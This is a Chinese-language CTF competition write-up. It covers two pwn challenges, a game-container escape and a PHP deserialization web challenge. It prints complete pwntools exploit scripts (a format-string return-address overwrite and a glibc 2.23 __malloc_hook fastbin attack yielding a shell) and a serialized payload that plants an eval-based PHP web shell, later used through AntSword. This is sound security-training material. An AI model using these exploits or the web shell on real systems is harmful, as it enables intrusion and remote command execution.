湘潭大学1队wp

图片资源：`./images`

排名

战队名称：

理论：第68名

夺旗：第63名

pwn

我最好的初代同事

格式化字符串漏洞，先得绕过 test_human()函数

AI写个就行

```
unsigned __int64 test_human()
{
  unsigned int v0; // eax
  int v2; // [rsp+Ch] [rbp-14h] BYREF
  unsigned int v3; // [rsp+10h] [rbp-10h]
```

```
  unsigned int v4; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v0 = time(0LL);
  srand(v0);
  v3 = rand() % 100;
  v4 = rand() % 100;
  printf("what's %d add %d\n", v3, v4);
  __isoc99_scanf("%d", &v2);
  if ( v4 + v3 != v2 )
  {
    puts("You are not humam");
    exit(233333);
  }
  return __readfsqword(0x28u) ^ v5;
}
```

主要漏洞地方

```
unsigned __int64 talk_with_god()
{
  __int64 buf[3]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  buf[0] = 0LL;
  buf[1] = 0LL;
  puts("Input:");
  read(0, buf, 0x10uLL);
  printf("Your input:");
  printf((const char *)buf);
  return __readfsqword(0x28u) ^ v2;
}
```

三次格式化字符串漏洞，先泄露PIE，和stack地址，然后栈上写地址改backdoor_addr即可

```
from pwn import *

def bug(cmd=''):
    gdb.attach(p,cmd)
    pause()

def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc_base + libc.sym['system'], libc_base +
next(libc.search(b'/bin/sh\x00'))

def ia():
    p.interactive()

sd = lambda data : p.send(data)
```

```
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda    :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

file = './pwn'
libc = '/home/downbeat/tools/glibc-all-in-one/libs/2.31-
0ubuntu9.18_amd64/libc.so.6'
# libc = '/lib/x86_64-linux-gnu/libc.so.6'
# p = process(file)
p = remote("113.201.14.253",37817)
elf = ELF(file)
libc = ELF(libc)

ru("Please calculate five simple additions\n")

def solve_add():
    # 一直读，直到抓到包含 "add" 的那一行
    while True:
        line = p.recvline().decode()
        print(line.strip())

        if "add" in line:
            break

    # 匹配两个数字
    nums = re.findall(r"(\d+)", line)
    a = int(nums[0])
    b = int(nums[1])

    p.sendline(str(a + b))
# 主程序流程：welcome() -> test_human() * 5 -> game()
for _ in range(5):
    solve_add()

def choice(idx):
     sla("[2]leave\n",str(idx))

backdoor = 0x14E3
ret_addr = 0x14ab

sleep(1)
# bug("b *$rebase(0x12D6)")
```

```
choice(1)
# "Your input:"
payload = b'%10$p%8$p'
sa("Input:",payload)
# print(p.recv())

ru("Your input:")
stack = int(p.recv(14),16) - 0x18
pie = int(p.recv(14),16) - 0x11a0

# edit stack
payload = b'%' + str(stack&0xffff).encode() + b'c%10$hn'
choice(1)
sa("Input:",payload)

# edit ret_addr
payload = b'%' + str((pie+backdoor)&0xffff).encode() + b'c%14$hn'
choice(1)
sa("Input:",payload)

ia()
```

我不吃牛肉

很简单的glibc2.23菜单堆，add edit show delete一点防护没有

只是指令有点难崩，是根据seed然后rand生成，不过可以先手动试几个数字，srand生成的固定

unsortedbin泄露libc，然后改fd为malloc_hook-0x23这个fake_chunk，最后改为ogg即可

```
from pwn import *
import ctypes

def bug(cmd=''):
    gdb.attach(p,cmd)
    pause()

def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc_base + libc.sym['system'], libc_base +
next(libc.search(b'/bin/sh\x00'))

def ia():
    p.interactive()

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda    :p.recvline()
```

```
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

file = './pwn'
libc = '/home/downbeat/tools/glibc-all-in-one/libs/2.23-
0ubuntu11.3_amd64/libc.so.6'
# libc = '/lib/x86_64-linux-gnu/libc.so.6'
p = process(file)
# p = remote("113.201.14.253",25654)
elf = ELF(file)
libc = ELF(libc)

def choice(idx):
     sla("choice:\n",str(idx))

def add(idx,size):
     choice(8)
     sla("index:\n",str(idx))
     sla("size:\n",str(size))

def free(idx):
     choice(4)
     sla("index:\n",str(idx))

def show(idx):
     choice(1)
     sla("index:\n",str(idx))

def edit(idx,leng,cont='a'):
     choice(3)
     sla("index:\n",str(idx))
     sla("length:\n",str(leng))
     sa("content:\n",cont)



add(0,0x80)
add(1,0x60)
add(2,0x60)


free(0)
show(0)

libc.address = u64(p.recvuntil(b'\n',drop=True)[-6:].ljust(8,b'\x00')) - 88 -
0x10 - libc.sym['__malloc_hook']
```

```
lg("libc.address: ",libc.address)
malloc_hook = libc.sym['__malloc_hook']
realloc = libc.sym['realloc']
ogg = [0x4527a , 0xf03a4 , 0xf1247]

free(1)
fake_chunk = malloc_hook - 0x23
payload = p64(fake_chunk)
edit(1,0x8,payload)
add(3,0x60)
add(4,0x60)

payload = cyclic(0xb) + p64(ogg[0] + libc.address) + p64(realloc+12)
edit(4,len(payload),payload)

choice(8)
sla("index:\n",str(5))
sla("size:\n",str(0x10))
ia()
```

Game：

超级马里奥：

进入容器后，右键游戏界面发现可以直接获取shell

利用通配符进入flags目录

cat victory_flag.txt获得flag

WEB

浅析PHP原生类

```php
<?php
class install {
    private $username;
    private $password;

    public function __construct($username = null) {
        $this->username = $username;
        $this->password = '123';
    }
```

```php
}

class Until {
    public $a;
    public $b;
    public $c;
    public $shell;
}

$until = new Until();
$until->a = "ZipArchive";
$until->b = "install.lock";
$until->c = 8;
$until->shell = '<?php @eval($_POST["cmd"]); ?>';

$trigger = new install($until);

$payload = new install($trigger);

echo "Payload (URL Encoded):" . PHP_EOL;
echo urlencode(serialize($payload));
?>
```

预期行为

反序列化触发 `ZipArchive` 清空锁文件。

脚本结束触发 `__destruct`。

检测到锁文件绕过，进入写入流程。

将当前的 `$until` 对象写入 `config.php`。

生成payload

```
[Running] php "/Users/jiangjiyang/Desktop/test.php"
Payload (URL Encoded):
O%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A5%3A%22Until%22%3A4%3A%7Bs%3A1
%3A%22a%22%3Bs%3A10%3A%22ZipArchive%22%3Bs%3A1%3A%22b%22%3Bs%3A12%3A%22install.lock%22%3Bs%3A1%3A%22c%22%3Bi%3A8%3Bs%3A5%3A%22shell%22%3Bs%3A30%3A%22%3C%3Fphp
+%40eval%28%24_POST%5B%22cmd%22%5D%29%3B
+%3F%3E%22%3B%7Ds%3A17%3A%22%00install%00password%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00install%00password%22%3Bs%3A3%3A%22123%22%3B%7D
[Done] exited with code=0 in 0.108 seconds
```

传参

不安全 4e4cb857.clsadp.com/?data=O%3A7%3A"install"%3A2%3A%7Bs%3A17%3A"%00install%00username"%3BO%3A7%3A"inst

```
    {
        echo "Hello,".$this->username;
    }

    public function __toString()
    {
        ($this->username)();
        return "Guest";
    }

    public function __destruct()
    {
        if(file_exists("install.lock")){
            exit("Already installed");
        }else{
            $config = [
                'username' => $this->username,
                'password' => md5($this->password)
            ];
            file_put_contents('config.php', serialize($config));
            file_put_contents('install.lock', "ok");
        }
    }
}

class Until {
    public $a;
    public $b;
    public $c;

    public function __invoke()
    {
        $this->write($this->a, $this->b, $this->c);
    }

    public function __toString()
    {
        return "HappyUnserialize";
    }

    public function write($cla, $file, $cont)
    {
        $obj = new $cla();
        $obj->open($file,$cont);
        return True;
    }
}

@unserialize($_GET['data']); Hello,HappyUnserializeHello,GuestAlready installed
```

写入之后通过蚁剑连接